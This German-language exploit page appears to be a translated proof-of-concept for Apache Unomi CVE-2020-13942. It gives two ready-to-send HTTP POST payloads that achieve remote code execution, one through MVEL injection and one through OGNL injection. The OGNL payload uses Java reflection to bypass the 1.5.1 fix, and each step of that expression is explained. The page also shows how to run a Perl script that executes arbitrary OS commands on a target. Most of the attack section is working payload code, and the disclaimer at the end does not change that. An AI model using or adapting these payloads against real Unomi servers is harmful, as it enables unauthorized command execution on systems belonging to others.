
Apache Unomi CVE-2020-13942: RCE-Schwachstellen
Originaler Blogbeitrag über die Schwachstelle: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
Es gibt zwei RCE-Vektoren: über MVEL-Injection und über OGNL-Injection. Beide Vektoren zielen auf unterschiedlichen Code, obwohl die Payloads relativ ähnlich aussehen. Der vorherige CVE-Fix https://nvd.nist.gov/vuln/detail/CVE-2020-11975 versuchte, die Ausführung von OGNL-Ausdrücken zu begrenzen, übersah dabei aber MVEL vollständig. Die CVE-2020-13942 umgeht den Fix, der in 1.5.1 vorgenommen wurde.
Senden Sie die folgenden HTTP-Anfragen mit BurpSuite oder curl an context.js\json, das vom Unomi-Server bereitgestellt wird, und erhalten Sie RCE. Ändern Sie Host und Content-Length entsprechend Ihrer Ziel-URL und dem OS-Befehl.
Beide POCs können als Antwort HTTP/1.1 400 Header Folding erhalten, was bedeutet, dass \r\n in der Payload durcheinander geraten sind; versuchen Sie, sie noch einmal zu kopieren und einzufügen.
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
Der OGNL-POC umgeht die durch Version 1.5.1 eingeführte ClassLoader-Einschränkung. Mit der Java-Reflections-API ist es möglich, ein Objekt zu erstellen, ohne die Methode ClassLoader.loadClass auszulösen, die die ausgewerteten OGNL-Ausdrücke einschränkt.
Die Aufschlüsselung des OGNL-Ausdrucks in der Payload:
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") erstellt ein java.lang.Runtime-Class-Objekt, wobei #this die Referenz auf das Kontextobjekt ist.#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] ruft über Reflections die Methodenliste der Runtime-Klasse ab und wählt die Methode getRuntime aus der Liste aus. Der Teil {^ #this.name.equals(\"getRuntime\")} des Ausdrucks sucht nach einer Methode mit dem Namen getRuntime und gibt eine Liste der Methoden zurück, die der Bedingung entsprechen; die erste und einzige Methode dieser Liste ist getRuntime.#runtimeobject = #runtimemethod.invoke(null,null) ruft die Methode getRuntime() auf und erhält das Runtime-Objekt.(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) ruft die Methoden der Runtime-Klasse ab und extrahiert aus der Methodenliste Runtime.exec() mit einem einzelnen String-Argument.#execmethod.invoke(#runtimeobject,\"gnome-calculator\") ruft Runtime.exec() mit dem angegebenen Argument auf.POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"boom"
}
Grundlegende Verwendung:
./apache_unomi.pl [options]
options:
./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]
[+]usage:
./apache_unomi.pl http://127.0.0.1:8181 whoami 1
Alle auf dieser Seite bereitgestellten Informationen dienen ausschließlich Bildungszwecken. Die Informationen auf dieser Website sollten nur verwendet werden, um die Sicherheit Ihrer Computersysteme zu verbessern und nicht, um böswillige oder schädigende Angriffe durchzuführen.
Sie sollten diese Informationen nicht missbrauchen, um unbefugten Zugriff auf Computersysteme zu erlangen. Beachten Sie außerdem, dass Hacking-Versuche an Computern, die Ihnen nicht gehören, ohne schriftliche Genehmigung der Eigentümer illegal sind.
Ich übernehme keine Verantwortung für direkte oder indirekte Schäden, die durch die Nutzung der auf dieser Website bereitgestellten Informationen verursacht werden.